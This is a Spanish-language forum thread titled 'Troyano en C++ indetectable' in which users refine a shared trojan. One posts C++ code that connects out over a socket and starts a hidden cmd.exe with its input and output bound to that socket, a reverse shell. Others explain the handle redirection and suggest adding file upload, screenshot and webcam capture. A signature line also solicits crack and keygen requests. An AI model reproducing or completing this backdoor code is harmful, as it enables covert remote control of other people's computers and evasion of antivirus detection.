Autor
|
Tema: Troyano en C++ indetectable!! (Leído 45,843 veces)
|
Ceh
Desconectado
Mensajes: 9
|
haste un video tuto por fa suena interesante
|
|
|
En línea
|
|
|
|
.:UND3R:.
|
Un videotutorial está demás, es algo muy sencillo.
|
|
|
En línea
|
Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
|
|
|
daryo
|
no sabia que se podia mezclar de esa forma createprocess con winsocks  genial aunque el codigo no sea el tuyo gracias por el code aunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional
|
|
|
En línea
|
buenas
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
aunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional Yo que se,, con poca cosa podes hacerlo conexión inversa, y ya de paso le pondría: Enviar/Subir archivos, captura de pantalla y webcam. 
|
|
|
En línea
|
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
Hola! Otra vez.. Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...) Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo.. Bue,, eso nomas.. Saludos!! EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?
|
|
« Última modificación: 16 Febrero 2014, 08:13 am por Vaagish »
|
En línea
|
|
|
|
Arkangel_0x7C5
Desconectado
Mensajes: 361
|
Hola! Otra vez.. Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...) Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo.. Bue,, eso nomas.. Saludos!! EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"? Lo que hace es redirigir la entrada salida del cmd al socket Y eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile un saludo Ark
|
|
|
En línea
|
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
Y eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile Gracias Ark! Es verdad,, no pensé en eso de esa forma.. por ende, la sentencia encargada de tal tarea es: SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
Yo la modifique un poco porque a mi no me funcionaba como estaba en el código,, pero igual no me funciona "a mi manera" tampoco.. estas son las cosas mas relevantes que cambie: if (connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN)) == -1) cout << "No conectado.."; ZeroMemory(&SI, sizeof(SI)); ZeroMemory(&PI, sizeof(PI)); SI.cb = sizeof(SI); SI.wShowWindow = SW_HIDE; SI.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket; SI.lpDesktop = SI.lpTitle = 0x0000; SI.lpReserved2 = NULL; LPSTR szCmdline = "cmd.exe"; CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&SI, &PI);
A ver si alguien se da cuenta por que no funciona,, y aclaro el problema: El socket conecta y envía la linea de comandos,, pero si le envio una tarea, ej: "netstat" ya no responde, pero sigue conectado.. o si alguien sabe como depurar ese proceso hijo, me sirve también..
|
|
« Última modificación: 16 Febrero 2014, 21:19 pm por Vaagish »
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.032
|
Tienes que duplicar el descriptor, en sistemas Posix son 0 1 2, luego en el descriptor del socket y duplicarlo con dup2 a esos descriptores, tendras que buscar la equivalencia en Windows.
Un saludo.
|
|
« Última modificación: 16 Febrero 2014, 21:53 pm por cpu2 »
|
En línea
|
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
Me mataste.. jaja Descriptor = Handle?
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.032
|
Si jaja, si quieres un ejemplo en Posix y ASM dilo.
Un saludo
|
|
|
En línea
|
|
|
|
|
|